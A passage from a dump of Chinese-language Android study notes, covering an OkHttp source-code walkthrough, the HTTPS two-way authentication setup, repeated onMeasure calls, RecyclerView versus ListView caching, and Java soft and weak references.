new OkHttpClient.Builder()\n            .sslSocketFactory(SSLHelper.getSSLSocketFactory(getApplication()))\n\n\n\n  总结：Https双向验证是最终方案，可以防止服务端被冒充，也减少了客户端被冒充的几率，客户端即使被冒充也影响不大，因为一般我们都会在服务端做个总校验，\n\n  一般 浏览器客户端被冒充，我们应该仔细观察域名\n\n\n  - [关于Https安全性问题、双向验证防止中间人攻击问题](https://blog.csdn.net/u010731949/article/details/50538280)\n  - [Android Https双向验证](https://www.jianshu.com/p/eef28062a2ea)\n  - [Https单向认证和双向认证](https://blog.csdn.net/duanbokan/article/details/50847612)\n"
  },
  {
    "path": "docs/android/sources/okhttp.md",
    "content": "### OKHttp源码分析\n\n#### 1. 使用\n\n\n    OkHttpClient client = new OkHttpClient();\n    \n    String run(String url) throws IOException {\n      Request request = new Request.Builder()\n          .url(url)\n          .build();\n    \n      Response response = client.newCall(request).execute();\n      return response.body().string();\n    }\n    \n    public static final MediaType JSON\n        = MediaType.parse(\"application/json; charset=utf-8\");\n    \n    OkHttpClient client = new OkHttpClient();\n    \n    String post(String url, String json) throws IOException {\n      RequestBody body = RequestBody.create(JSON, json);\n      Request request = new Request.Builder()\n          .url(url)\n          .post(body)\n          .build();\n      Response response = client.newCall(request).execute();\n      return response.body().string();\n    }\n\n#### 2. 源码分析\n\n  ##### Request、Response、Call 基本概念\n  \n  ##### 源码分析用到的设计模式有，单例模式、工厂模式、构造者模式、责任链模式\n  \n  Request:每一个HTTP请求包含一个URL、一个方法（GET或POST或其他）、一些HTTP头。请求还可能包含一个特定内容类型的数据类的主体部分。\n  \n  Response:响应是对请求的回复，包含状态码、HTTP头和主体部分。\n  \n  Call:OkHttp使用Call抽象出一个满足请求的模型，尽管中间可能会有多个请求或响应。执行Call有两种方式，同步或异步\n  \n  \n  1. 第一步创建OKHttpClient\n  \n  \n      // OKhttpClient.java\n      public class OkHttpClient implements Cloneable, Call.Factory, WebSocket.Factory {\n      \n        final Dispatcher dispatcher;//处理异步请求分发策略\n        final @Nullable Proxy proxy;\n        final List<Protocol> protocols;\n        final List<ConnectionSpec> connectionSpecs;//连接机构\n        final List<Interceptor> interceptors;//应用拦截器\n        final List<Interceptor> networkInterceptors;//网络拦截器\n        final EventListener.Factory eventListenerFactory;\n        final ProxySelector proxySelector;\n        final CookieJar cookieJar;\n        final @Nullable Cache cache;//缓存\n        final @Nullable InternalCache internalCache;\n        final SocketFactory socketFactory;\n        final @Nullable SSLSocketFactory sslSocketFactory;\n        final @Nullable CertificateChainCleaner certificateChainCleaner;\n        final HostnameVerifier hostnameVerifier;\n        final CertificatePinner certificatePinner;\n        final Authenticator proxyAuthenticator;\n        final Authenticator authenticator;\n        final ConnectionPool connectionPool;\n        final Dns dns;\n        final boolean followSslRedirects;\n        final boolean followRedirects;\n        final boolean retryOnConnectionFailure;\n        final int connectTimeout;\n        final int readTimeout;\n        final int writeTimeout;\n        final int pingInterval;\n      \n        public OkHttpClient() {\n          this(new Builder());\n        }\n      \n        OkHttpClient(Builder builder) {\n          this.dispatcher = builder.dispatcher;\n          this.proxy = builder.proxy;\n          this.protocols = builder.protocols;\n          this.connectionSpecs = builder.connectionSpecs;\n          this.interceptors = Util.immutableList(builder.interceptors);\n          this.networkInterceptors = Util.immutableList(builder.networkInterceptors);\n          this.eventListenerFactory = builder.eventListenerFactory;\n          this.proxySelector = builder.proxySelector;\n          this.cookieJar = builder.cookieJar;\n          this.cache = builder.cache;\n          this.internalCache = builder.internalCache;\n          this.socketFactory = builder.socketFactory;\n      \n          boolean isTLS = false;\n          for (ConnectionSpec spec : connectionSpecs) {\n            isTLS = isTLS || spec.isTls();\n          }\n      \n          if (builder.sslSocketFactory != null || !isTLS) {\n            this.sslSocketFactory = builder.sslSocketFactory;\n            this.certificateChainCleaner = builder.certificateChainCleaner;\n          } else {\n            X509TrustManager trustManager = Util.platformTrustManager();\n            this.sslSocketFactory = newSslSocketFactory(trustManager);\n            this.certificateChainCleaner = CertificateChainCleaner.get(trustManager);\n          }\n      \n          if (sslSocketFactory != null) {\n            Platform.get().configureSslSocketFactory(sslSocketFactory);\n          }\n      \n          this.hostnameVerifier = builder.hostnameVerifier;\n          this.certificatePinner = builder.certificatePinner.withCertificateChainCleaner(\n              certificateChainCleaner);\n          this.proxyAuthenticator = builder.proxyAuthenticator;\n          this.authenticator = builder.authenticator;\n          this.connectionPool = builder.connectionPool;\n          this.dns = builder.dns;\n          this.followSslRedirects = builder.followSslRedirects;\n          this.followRedirects = builder.followRedirects;\n          this.retryOnConnectionFailure = builder.retryOnConnectionFailure;\n          this.connectTimeout = builder.connectTimeout;\n          this.readTimeout = builder.readTimeout;\n          this.writeTimeout = builder.writeTimeout;\n          this.pingInterval = builder.pingInterval;\n      \n          if (interceptors.contains(null)) {\n            throw new IllegalStateException(\"Null interceptor: \" + interceptors);\n          }\n          if (networkInterceptors.contains(null)) {\n            throw new IllegalStateException(\"Null network interceptor: \" + networkInterceptors);\n          }\n        }\n      ....\n      ....\n      }\n      \n      //Call.java\n      public interface Call extends Cloneable {\n      \n        Request request();\n      \n        Response execute() throws IOException;\n      \n        void enqueue(Callback responseCallback);\n      \n        void cancel();\n  \n        boolean isExecuted();\n      \n        boolean isCanceled();\n      \n        Call clone();\n      \n        interface Factory {\n          Call newCall(Request request);\n        }\n      }\n      \n      //WebSocket.java\n      public interface WebSocket {\n      \n          Request request();\n        \n          long queueSize();\n        \n          boolean send(String text);\n        \n          boolean send(ByteString bytes);\n        \n          boolean close(int code, @Nullable String reason);\n        \n          void cancel();\n        \n          interface Factory {\n     \n            WebSocket newWebSocket(Request request, WebSocketListener listener);\n          }\n        }\n        \n  \n  \n  总结：通过Build创建一个OKHttpClient对象，并根据配置，初始化一些缓存策略，创建一个Dispatcher对象\n  \n2. 第二步发送请求调用 OkHttpClient newCall\n\n\n        //OKHttpClient.java\n        public class OkHttpClient implements Cloneable, Call.Factory, WebSocket.Factory {\n           @Override \n           public Call newCall(Request request) {\n            return new RealCall(this, request, false /* for web socket */);\n           }\n        \n        ....\n        ....\n        \n        }\n        \n 总结 创建一个RealCall对象，这个对象实现了Call接口，Call接口主要包含request、execute、enqueue\n3. 第三部执行异步请求\n       final class RealCall implements Call {\n         final OkHttpClient client;\n         final RetryAndFollowUpInterceptor retryAndFollowUpInterceptor;\n         private EventListener eventListener;\n       \n        ....\n        ....\n        ....\n       \n         @Override public void enqueue(Callback responseCallback) {\n           synchronized (this) {\n             if (executed) throw new IllegalStateException(\"Already Executed\");\n             executed = true;\n           }\n           captureCallStackTrace();\n           eventListener.callStart(this);\n           client.dispatcher().enqueue(new AsyncCall(responseCallback));\n         }\n         \n         ....\n         ....\n\n        }\n\n  \n  \n  总结：调用RealCall的enqueue方法，判断是否正在执行，如果否添加到dispatcher中一个AsyncCall\n  \n  \n4. 第四部 添加到Dispatcher中\n\n\n     \n     // Dispatcher.java\n     synchronized void enqueue(AsyncCall call) {\n        if (runningAsyncCalls.size() < maxRequests && runningCallsForHost(call) < maxRequestsPerHost) {\n          runningAsyncCalls.add(call);\n          executorService().execute(call);\n        } else {\n          readyAsyncCalls.add(call);\n        }\n      }\n\n\n总结：首先判断正在运行的异步请求数量是否小于最大值，并且同一主机数量小于最大主机数量值，然后添加到运行队列，再去用线程池去执行这个call，\n很明显线程池只运行Runnable，所以看一下AsyncCall代码实际上也是一个Runnable\n\n\n5. 第五部 AsyncCall\n\n\n       //AsyncCall.java\n       final class AsyncCall extends NamedRunnable {\n           private final Callback responseCallback;//回调函数\n       \n           AsyncCall(Callback responseCallback) {\n             super(\"OkHttp %s\", redactedUrl());\n             this.responseCallback = responseCallback;\n           }\n       \n           ....\n           ....\n       \n           @Override protected void execute() {\n             boolean signalledCallback = false;\n             try {\n               Response response = getResponseWithInterceptorChain();\n               if (retryAndFollowUpInterceptor.isCanceled()) {\n                 signalledCallback = true;\n                 responseCallback.onFailure(RealCall.this, new IOException(\"Canceled\"));\n               } else {\n                 signalledCallback = true;\n                 responseCallback.onResponse(RealCall.this, response);\n               }\n             } catch (IOException e) {\n               if (signalledCallback) {\n                 // Do not signal the callback twice!\n                 Platform.get().log(INFO, \"Callback failure for \" + toLoggableString(), e);\n               } else {\n                 eventListener.callFailed(RealCall.this, e);\n                 responseCallback.onFailure(RealCall.this, e);\n               }\n             } finally {\n               client.dispatcher().finished(this);\n             }\n           }\n         }\n  \n      //NamedRunnable.Java\n      public abstract class NamedRunnable implements Runnable {\n        protected final String name;\n      \n        public NamedRunnable(String format, Object... args) {\n          this.name = Util.format(format, args);\n        }\n      \n        @Override public final void run() {\n          String oldName = Thread.currentThread().getName();\n          Thread.currentThread().setName(name);\n          try {\n            execute();\n          } finally {\n            Thread.currentThread().setName(oldName);\n          }\n        }\n      \n        protected abstract void execute();\n      }\n  \n  \n  所以：实际执行了个Runnable的run方法，run方法执行了execute方法，在execute里面调用getResponseWithInterceptorChain获得响应值\n  \n  \n  \n6. 第六部getResponseWithInterceptorChain实现\n\n\n\n    //RealCall方法\n        ....\n        ....\n        Response getResponseWithInterceptorChain() throws IOException {\n               // Build a full stack of interceptors.\n               List<Interceptor> interceptors = new ArrayList<>();\n               interceptors.addAll(client.interceptors());\n               interceptors.add(retryAndFollowUpInterceptor);\n               interceptors.add(new BridgeInterceptor(client.cookieJar()));\n               interceptors.add(new CacheInterceptor(client.internalCache()));\n               interceptors.add(new ConnectInterceptor(client));\n               if (!forWebSocket) {\n                 interceptors.addAll(client.networkInterceptors());\n               }\n               interceptors.add(new CallServerInterceptor(forWebSocket));\n           \n               Interceptor.Chain chain = new RealInterceptorChain(interceptors, null, null, null, 0,\n                   originalRequest, this, eventListener, client.connectTimeoutMillis(),\n                   client.readTimeoutMillis(), client.writeTimeoutMillis());\n           \n               return chain.proceed(originalRequest);\n             }\n        }\n  \n  \n    // RealInterceptorChain.java \n    \n      public Response proceed(Request request, StreamAllocation streamAllocation, HttpCodec httpCodec,\n          RealConnection connection) throws IOException {\n        if (index >= interceptors.size()) throw new AssertionError();\n    \n        calls++;\n    \n        // If we already have a stream, confirm that the incoming request will use it.\n        if (this.httpCodec != null && !this.connection.supportsUrl(request.url())) {\n          throw new IllegalStateException(\"network interceptor \" + interceptors.get(index - 1)\n              + \" must retain the same host and port\");\n        }\n    \n        // If we already have a stream, confirm that this is the only call to chain.proceed().\n        if (this.httpCodec != null && calls > 1) {\n          throw new IllegalStateException(\"network interceptor \" + interceptors.get(index - 1)\n              + \" must call proceed() exactly once\");\n        }\n    \n        // Call the next interceptor in the chain.\n        RealInterceptorChain next = new RealInterceptorChain(interceptors, streamAllocation, httpCodec,\n            connection, index + 1, request, call, eventListener, connectTimeout, readTimeout,\n            writeTimeout);\n        Interceptor interceptor = interceptors.get(index);\n        Response response = interceptor.intercept(next);\n    \n        // Confirm that the next interceptor made its required call to chain.proceed().\n        if (httpCodec != null && index + 1 < interceptors.size() && next.calls != 1) {\n          throw new IllegalStateException(\"network interceptor \" + interceptor\n              + \" must call proceed() exactly once\");\n        }\n    \n        // Confirm that the intercepted response isn't null.\n        if (response == null) {\n          throw new NullPointerException(\"interceptor \" + interceptor + \" returned null\");\n        }\n    \n        if (response.body() == null) {\n          throw new IllegalStateException(\n              \"interceptor \" + interceptor + \" returned a response with no body\");\n        }\n    \n        return response;\n      }\n    \n    \n总结：getResponseWithInterceptorChain 方法内部拿到所有自定义拦截器和系统内置拦截器，然后\n\n   创建一个RealInterceptorChain对象递归执行proceed方法，直到返回一个response\n   \n7. 拦截器执行说明\n\n\n    1）在配置 OkHttpClient 时设置的 interceptors； \n    2）负责失败重试以及重定向的 RetryAndFollowUpInterceptor； \n    3）负责把用户构造的请求转换为发送到服务器的请求、把服务器返回的响应转换为用户友好的响应的 BridgeInterceptor； \n    4）负责读取缓存直接返回、更新缓存的 CacheInterceptor； \n    5）负责和服务器建立连接的 ConnectInterceptor； \n    6）配置 OkHttpClient 时设置的 networkInterceptors； \n    7）负责向服务器发送请求数据、从服务器读取响应数据的 CallServerInterceptor。\n    \n    OkHttp的这种拦截器链采用的是责任链模式，这样的好处是将请求的发送和处理分开，并且可以动态添加中间的处理方实现对请求的处理、短路等操作\n      \n  \n总结最终是由CallServerInterceptor去发送给服务器\n\n8. 看一下 CallServerInterceptor\n  \n  \n      \n      public final class CallServerInterceptor implements Interceptor {\n        private final boolean forWebSocket;\n      \n        public CallServerInterceptor(boolean forWebSocket) {\n          this.forWebSocket = forWebSocket;\n        }\n      \n        @Override public Response intercept(Chain chain) throws IOException {\n          RealInterceptorChain realChain = (RealInterceptorChain) chain;\n          HttpCodec httpCodec = realChain.httpStream();\n          StreamAllocation streamAllocation = realChain.streamAllocation();\n          RealConnection connection = (RealConnection) realChain.connection();\n          Request request = realChain.request();\n      \n          long sentRequestMillis = System.currentTimeMillis();\n      \n          realChain.eventListener().requestHeadersStart(realChain.call());\n          httpCodec.writeRequestHeaders(request);\n          realChain.eventListener().requestHeadersEnd(realChain.call(), request);\n      \n          Response.Builder responseBuilder = null;\n          if (HttpMethod.permitsRequestBody(request.method()) && request.body() != null) {\n            // If there's a \"Expect: 100-continue\" header on the request, wait for a \"HTTP/1.1 100\n            // Continue\" response before transmitting the request body. If we don't get that, return\n            // what we did get (such as a 4xx response) without ever transmitting the request body.\n            if (\"100-continue\".equalsIgnoreCase(request.header(\"Expect\"))) {\n              httpCodec.flushRequest();\n              realChain.eventListener().responseHeadersStart(realChain.call());\n              responseBuilder = httpCodec.readResponseHeaders(true);\n            }\n      \n            if (responseBuilder == null) {\n              // Write the request body if the \"Expect: 100-continue\" expectation was met.\n              realChain.eventListener().requestBodyStart(realChain.call());\n              long contentLength = request.body().contentLength();\n              CountingSink requestBodyOut =\n                  new CountingSink(httpCodec.createRequestBody(request, contentLength));\n              BufferedSink bufferedRequestBody = Okio.buffer(requestBodyOut);\n      \n              request.body().writeTo(bufferedRequestBody);\n              bufferedRequestBody.close();\n              realChain.eventListener()\n                  .requestBodyEnd(realChain.call(), requestBodyOut.successfulCount);\n            } else if (!connection.isMultiplexed()) {\n              // If the \"Expect: 100-continue\" expectation wasn't met, prevent the HTTP/1 connection\n              // from being reused. Otherwise we're still obligated to transmit the request body to\n              // leave the connection in a consistent state.\n              streamAllocation.noNewStreams();\n            }\n          }\n      \n          httpCodec.finishRequest();\n      \n          if (responseBuilder == null) {\n            realChain.eventListener().responseHeadersStart(realChain.call());\n            responseBuilder = httpCodec.readResponseHeaders(false);\n          }\n      \n          Response response = responseBuilder\n              .request(request)\n              .handshake(streamAllocation.connection().handshake())\n              .sentRequestAtMillis(sentRequestMillis)\n              .receivedResponseAtMillis(System.currentTimeMillis())\n              .build();\n      \n          int code = response.code();\n          if (code == 100) {\n            // server sent a 100-continue even though we did not request one.\n            // try again to read the actual response\n            responseBuilder = httpCodec.readResponseHeaders(false);\n      \n            response = responseBuilder\n                    .request(request)\n                    .handshake(streamAllocation.connection().handshake())\n                    .sentRequestAtMillis(sentRequestMillis)\n                    .receivedResponseAtMillis(System.currentTimeMillis())\n                    .build();\n      \n            code = response.code();\n          }\n      \n          realChain.eventListener()\n                  .responseHeadersEnd(realChain.call(), response);\n      \n          if (forWebSocket && code == 101) {\n            // Connection is upgrading, but we need to ensure interceptors see a non-null response body.\n            response = response.newBuilder()\n                .body(Util.EMPTY_RESPONSE)\n                .build();\n          } else {\n            response = response.newBuilder()\n                .body(httpCodec.openResponseBody(response))\n                .build();\n          }\n      \n          if (\"close\".equalsIgnoreCase(response.request().header(\"Connection\"))\n              || \"close\".equalsIgnoreCase(response.header(\"Connection\"))) {\n            streamAllocation.noNewStreams();\n          }\n      \n          if ((code == 204 || code == 205) && response.body().contentLength() > 0) {\n            throw new ProtocolException(\n                \"HTTP \" + code + \" had non-zero Content-Length: \" + response.body().contentLength());\n          }\n      \n          return response;\n        }\n    \n      \n      \n          //StreamAllocation.java\n          public HttpCodec newStream(\n                OkHttpClient client, Interceptor.Chain chain, boolean doExtensiveHealthChecks) {\n              int connectTimeout = chain.connectTimeoutMillis();\n              int readTimeout = chain.readTimeoutMillis();\n              int writeTimeout = chain.writeTimeoutMillis();\n              int pingIntervalMillis = client.pingIntervalMillis();\n              boolean connectionRetryEnabled = client.retryOnConnectionFailure();\n          \n              try {\n                RealConnection resultConnection = findHealthyConnection(connectTimeout, readTimeout,\n                    writeTimeout, pingIntervalMillis, connectionRetryEnabled, doExtensiveHealthChecks);\n                HttpCodec resultCodec = resultConnection.newCodec(client, chain, this);\n          \n                synchronized (connectionPool) {\n                  codec = resultCodec;\n                  return resultCodec;\n                }\n              } catch (IOException e) {\n                throw new RouteException(e);\n              }\n            }\n  \n总结：通过StreamAllocation 查找从ConnectionPool连接池查找一个RealConnection 然后创建一个HttpCodec（http编解码器）\n\n\n9. ConnectionPool\n  // 连接池用一个队列保存\n     private final Deque<RealConnection> connections = new ArrayDeque<>();\n    \n     public ConnectionPool() {\n        this(5, 5, TimeUnit.MINUTES);\n      }\n10. RealConnection  \n\n\n    //建立连接\n    private void connectSocket(int connectTimeout, int readTimeout, Call call,\n        EventListener eventListener) throws IOException {\n      ....\n      ....\n      try {\n      Okio 有自己的流类型，那就是 Source 和 Sink，它们和 InputStream 与 OutputStream 类似，前者为输入流，后者为输出流。\n        source = Okio.buffer(Okio.source(rawSocket));\n        sink = Okio.buffer(Okio.sink(rawSocket));\n      } catch (NullPointerException npe) {\n        if (NPE_THROW_WITH_NULL.equals(npe.getMessage())) {\n          throw new IOException(npe);\n        }\n      }\n    }\n      \n  总结:连接池默认是维持5个连接数，也就是socket连接数,建立链接会返回一个source 和 sink，\n  Okio 有自己的流类型，那就是 Source 和 Sink，它们和 InputStream 与 OutputStream 类似，前者为输入流，后者为输出流。\n  \n  \n\n    \n10. 最终通过 httpCodec.finishRequest();发送请求 通过OutputStream，而最后通过OutputStream读取网络请求\n\n11.请求结束后Dispatcher调用finish移除队列\n\n#### 总结：\n\n\n    1. 通过OKHttpClient 创建了一个Dispatcher ；\n    2. 通过调用OKHttpClient newCall创建了一个RealCall；\n    3. RealCall调用enqueue传入一个callBack\n    4. enqueue方法里面通过持有的OKHttpClient的dispatcher调用enqueue方法放入一个AsyncCall\n    5. AsynCall实现了Runnable方法\n    6. AsynCall的Runnable run方法实现：调用getResponseWithInterceptorChain去执行请求\n    7. getResponseWithInterceptorChain 递归调用所有拦截器去执行，而到ConnectionInercepter建立链接，最后CallServerIntercepter才去发送请求\n    8. Dispatcher内部会创建一个线程池，调用enqueue先加入队列，再去执行这个Runanble\n    \n    \n12. Dispatcher 进一步分析\n\n\n          public final class Dispatcher {\n          /** 最大并发请求数为64 */\n          private int maxRequests = 64;\n          /** 每个主机最大请求数为5 */\n          private int maxRequestsPerHost = 5;\n        \n          /** 线程池 */\n          private ExecutorService executorService;\n        \n          /** 准备执行的请求 */\n          private final Deque<AsyncCall> readyAsyncCalls = new ArrayDeque<>();\n        \n          /** 正在执行的异步请求，包含已经取消但未执行完的请求 */\n          private final Deque<AsyncCall> runningAsyncCalls = new ArrayDeque<>();\n        \n          /** 正在执行的同步请求，包含已经取消单未执行完的请求 */\n          private final Deque<RealCall> runningSyncCalls = new ArrayDeque<>()；\n          \n          public synchronized ExecutorService executorService() {\n              if (executorService == null) {\n                 executorService = new ThreadPoolExecutor(\n                                  //corePoolSize 最小并发线程数,如果是0的话，空闲一段时间后所有线程将全部被销毁\n                                      0, \n                                  //maximumPoolSize: 最大线程数，当任务进来时可以扩充的线程最大值，当大于了这个值就会根据丢弃处理机制来处理\n                                      Integer.MAX_VALUE, \n                                  //keepAliveTime: 当线程数大于corePoolSize时，多余的空闲线程的最大存活时间\n                                      60, \n                                  //单位秒\n                                      TimeUnit.SECONDS,\n                                  //工作队列,先进先出\n                                      new SynchronousQueue<Runnable>(),   \n                                  //单个线程的工厂         \n                                     Util.threadFactory(\"OkHttp Dispatcher\", false));\n              }\n              return executorService;\n            }\n\n总结：可以看出，在Okhttp中，构建了一个核心为[0, Integer.MAX_VALUE]的线程池，它不保留任何最小线程数，随时创建更多的线程数，当线程空闲时只能活60秒，它使用了一个不存储元素的阻塞工作队列，一个叫做”OkHttp Dispatcher”的线程工厂。\n\n也就是说，在实际运行中，当收到10个并发请求时，线程池会创建十个线程，当工作完成后，线程池会在60s后相继关闭所有线程。\n\n\nDispatcher线程池总结\n\n1）调度线程池Disptcher实现了高并发，低阻塞的实现 \n2）采用Deque作为缓存，先进先出的顺序执行 \n3）任务在try/finally中调用了finished函数，控制任务队列的执行顺序，而不是采用锁，减少了编码复杂性提高性能\n\n\n13. 其他拦截器分析\n\n\n\n\n  \n  \n  \n  "
  },
  {
    "path": "docs/android/sources/onMeasure.md",
    "content": "### onMeasure 多次调用问题\n\n比如FlowLayout onMeasure调用四次\n\n父视图使用unspecified dimensions来将它的每个子视图都测量一次来算出它们到底需要多大尺寸，而这些子视图没被限制的尺寸的和太大或太小，所以会用精确数值再次调用measure()（也就是说，如果子视图不满意它们获得的区域大小，那么父视图将会干涉并设置第二次测量规则）。其中measure()方法会调用onMeasure()方法。\n代码中，由于把每行剩余空间重新分配，会调用了requestLayout()方法，这个方法又会导致measure()和onLayout()方法的再次调用。\n最后你会发现 onMeasure()方法调用了 1次*2*2=4次  onLayout()方法调用了 1次*2 =2次\n\n\n\n\n2.关于onmeasure两次调用\n\n但是一直很疑惑UNSPECIFIED什么情况发生，今天测了下，发现在使用weigt时会调用，因为此时定义的值为0dp，这不就是UNSPECIFIED嘛！\n\n第一次应该是通过xml的设置进行计算\n\n UNSPECIFIED时第一轮的onmeasure会多调用一次\n\n UNSPECIFIED 0--0（第一个值是传入的参数size，第二个值是测量的大小，这都是执行完super.onmeaure后打印出的）\n EXACTLY 1440--1440\n\n第二次是在ondraw执行前再调用一次，比如\n\ntv.post(new Runnable() {\n\n@Override\npublic void run() {\nMainActivity.this.tv.setText(\"dddd\");\nSystem.out.println(\"-\"+tv.getMeasuredWidth());\n\n}\n});\n\n此时第二次的onmeasure就起到了作用\n\n\n3. 第一次启动的时候还会多绘制一次有可能是3次\n\n由源代码可以看出，当newSurface为真时，performTraversals函数并不会调用performDraw函数，而是调用scheduleTraversals函数，从而再次调用一次performTraversals函数，从而再次进行一次测量，布局和绘制过程。 \n 我们由断点调试可以轻易看到，第一次performTraversals时的newSurface为真，而第二次时是假。 \n "
  },
  {
    "path": "docs/android/sources/recyclerView_listview.md",
    "content": "### RecyclerView 和 ListView区别\n\n1. RecyclerView封装了ViewHolder，抽象了分割线，等函数，使自定义起来非常好用\n\n\n2. 缓存层级不同，RecyclerView有4层缓存，ListView只有两层\n\n\nRecyclerView中的CacheViews(屏幕外)获取缓存时,是通过匹配item的pos获取目标位置的缓存,这样做的好处是,当数据元不变的时候,无需重新bindview.而同样是离屏的缓存,在ListView从mScrapViews根据pos获取相应的缓存,但并没有直接使用,而是重新getView,这样就会导致重新bindView.\n\n\nListView中通过pos获取的是view,即pos->view;而RecyclerView中通过pos获取的是ViewHolder,即pos->(view,ViewHolder,flag);\n从流程上可以看出,标志flag的作用是判断view是否需要重新bindView,这也是RecyclerView实现局部刷新的一个核心.\n\n\n由上文可知,RecyclerView的缓存机制更加完善,但是还没有达到质变的程度,RecyclerView更大的亮点在于提供了局部刷新的接口,通过局部刷新,就能避免调用许多无用的bindView.\n\n以RecyclerView中的notifyItemRemoved(1)为例,最终会调用requestLayout(),使整个RecyclerView重绘,过程为\n\n\n\n\n相对于AbsListView的两个子类ListView以及GridView来讲，RecyclerView最大一个特性就是灵活，主要体现在以下两个方面\n\n多样式：可以对数据的展示进行自有定制，可以是列表，网格甚至是瀑布流，除此之外你还可以自定义样式\n定向刷新：可以对指定的Item数据进行刷新\n刷新动画：RecyclerView支持对Item的刷新添加动画\n添加装饰：相对于ListView以及GridView的单一的分割线，RecyclerView可以自定义添加分割样式\n今天我们的重点在于缓存，所以重点研究定向刷新，除了对整体数据进行刷新之外，RecyclerView还提供了很多定向刷新的方法。\n\n跟ListView的RecycleBin一样，Recycler也是RecyclerView设计的一个专门用于回收ViewHolder的类，其实RecyclerView的缓存机制是在ListView的缓存机制的基础上进一步的完善，所以在Recycler中能看到很多跟RecycleBin一样的设计思想，在缓存这个层面上，RecyclerView实际上并没有做出太大的创新，最大的创新来源于给每一个ViewHolder增加了一个UpdateOp，通过这个标志可以进行定向刷新指定的Item，并且通过Payload参数可以对Item进行局部刷新，我觉得这个是RecyclerView最厉害的地方，大大提高了刷新时候的性能，如果数据源需要经常变动，那么RecyclerView是你最好的选择，没有之一，下面看一下Recycler是如何进行缓存的。\n\nRecycler的缓存做了很多优化，实际上采用了LFU算法，也就是最少使用策略，\n\n\n定向刷新\n可以对指定的Item进行刷新，是RecyclerView的又一特点，RecyclerView在观察者模式中的Observer中新增了很多方法，用于定向刷新，这个在前面的观察者模式中已经提到过，下面从源码的角度分析一下原理，我们拿adapter.notifyItemChanged(0),最终会RecyclerViewDataObserver的方法\n"
  },
  {
    "path": "docs/android/sources/reference.md",
    "content": "### 强、软、弱、虚、引用\n\n一、java.lang.ref包中提供了几个类：SoftReference类、WeakReference类和PhantomReference类，它们分别代表软引用、弱引用和虚引用。ReferenceQueue类表示引用队列，它可以和这三种引用类联合使用，以便跟踪Java虚拟机回收所引用的对象的活动。\n#### 强引用\n1. 关于强引用引用的场景\n\n        直接new出来的对象\n        String str = new String(“yc”);\n\n2. 强引用介绍\n\n        强引用是使用最普遍的引用。如果一个对象具有强引用，那垃圾回收器绝不会回收它。当内存空间不足，Java虚拟机宁愿抛出OutOfMemoryError错误，使程序异常终止，也不会靠随意回收具有强引用的对象来解决内存不足的问题。\n        \n        通过引用，可以对堆中的对象进行操作。在某个函数中，当创建了一个对象，该对象被分配在堆中，通过这个对象的引用才能对这个对象进行操作。\n\n3. 强引用的特点\n    \n        强引用可以直接访问目标对象。\n        强引用所指向的对象在任何时候都不会被系统回收。JVM宁愿抛出OOM异常，也不会回收强引用所指向的对象。\n        强引用可能导致内存泄露。\n        \n#### 软引用\n\n1. 关于SoftReference软引用\n\n            SoftReference：软引用–>当虚拟机内存不足时，将会回收它指向的对象；需要获取对象时，可以调用get方法。\n            \n            可以通过java.lang.ref.SoftReference使用软引用。一个持有软引用的对象，不会被JVM很快回收，JVM会根据当前堆的使用情况来判断何时回收。当堆的使用率临近阈值时，才会回收软引用的对象。\n\n2. 软引用应用场景\n\n        例如从网络上获取图片，然后将获取的图片显示的同时，通过软引用缓存起来。当下次再去网络上获取图片时，首先会检查要获取的图片缓存中是否存在，若存在，直接取出来，不需要再去网络上获取。\n        \n        View view = findViewById(R.id.button);\n        Bitmap bitmap = BitmapFactory.decodeResource(getResources(),R.drawable.ic_launcher);\n        Drawable drawable = new BitmapDrawable(bitmap);\n        SoftReference<Drawable> drawableSoftReference = new SoftReference<Drawable>(drawable);\n        if(drawableSoftReference != null) {\n            view.setBackground(drawableSoftReference.get());\n        }\n        \n3. 这样使用软引用好处，正常是用来处理图片这种占用内存大的情况\n        \n        通过软引用的get()方法，取得drawable对象实例的强引用，发现对象被未回收。在GC在内存充足的情况下，不会回收软引用对象。此时view的背景显示.\n        \n        实际情况中,我们会获取很多图片.然后可能给很多个view展示, 这种情况下很容易内存吃紧导致oom,内存吃紧，系统开始会GC。这次GC后，drawables.get()不再返回Drawable对象，而是返回null，这时屏幕上背景图不显示，说明在系统内存紧张的情况下，软引用被回收。\n        \n        使用软引用以后，在OutOfMemory异常发生之前，这些缓存的图片资源的内存空间可以被释放掉的，从而避免内存达到上限，避免Crash发生。\n        \n4. 注意避免软引用获取对象为null\n        \n        在垃圾回收器对这个Java对象回收前，SoftReference类所提供的get方法会返回Java对象的强引用，一旦垃圾线程回收该Java对象之后，get方法将返回null。所以在获取软引用对象的代码中，一定要判断是否为null，以免出现NullPointerException异常导致应用崩溃\n        \n        \n#### 弱引用WeakReference\n\n\n弱引用–>随时可能会被垃圾回收器回收，不一定要等到虚拟机内存不足时才强制回收。要获取对象时，同样可以调用get方法。\n\n1. 特点\n\n        如果一个对象只具有弱引用，那么在垃圾回收器线程扫描的过程中，一旦发现了只具有弱引用的对象，不管当前内存空间足够与否，都会回收它的内存。\n        不过，由于垃圾回收器是一个优先级很低的线程，因此不一定会很快发现那些只具有弱引用的对象，因此可以用于缓存\n        弱引用也可以和一个引用队列（ReferenceQueue）联合使用，如果弱引用所引用的对象被垃圾回收，Java虚拟机就会把这个弱引用加入到与之关联的引用队列中。\n\n        ***** WeakReference：防止内存泄漏，要保证内存被虚拟机回收\n\n\n2. 应用\n   1. 解决Handler内存泄露\n   2. 实现缓存，Android 官方建议使用WeakReference 而不是softReference\n   \n#### 下面Java和Android环境下SoftReference 和WeakReference使用\n       \n       \n       public static void main(String[] args) throws InterruptedException {\n       \n               initsoftReference();\n               initweakReference();\n               \n               Thread.sleep(2000);\n               System.gc();\n               \n               if (softReference.get() == null) {\n                   System.out.println(\"SoftReference : \" + \"null\");\n               }else{\n                   System.out.println(\"SoftReference : \" + softReference.get());\n               }\n       \n       \n               if (weakReference.get() == null) {\n                   System.out.println(\"WeakReference : \" + \"null\");\n               }else{\n                   System.out.println(\"WeakReference : \" + weakReference.get());\n               }\n               \n           }\n       \n           private static void initsoftReference() {\n               softReference = new SoftReference(value_soft);\n               value_soft = null;\n           }\n       \n           private static void initweakReference() {\n               weakReference = new WeakReference(value_weak);\n               value_weak = null;\n           }\n      \n#### 从上面的情况，我们还让你容易可以观察Android环境下与纯Java环境下两者直接的输出结果不同！\n在Android环境下WeakReference 与SoftReference 两者输出结果一样。其实对于手机系统存在多应用，又对于内存是比较敏感的，自然对于内存释放会更加严格。\n试想一下，如果众多对象使用 SoftReference引用，大部分都是这也是为什么google不建议SoftReference 的原因之一。\n\n"
  },
  {
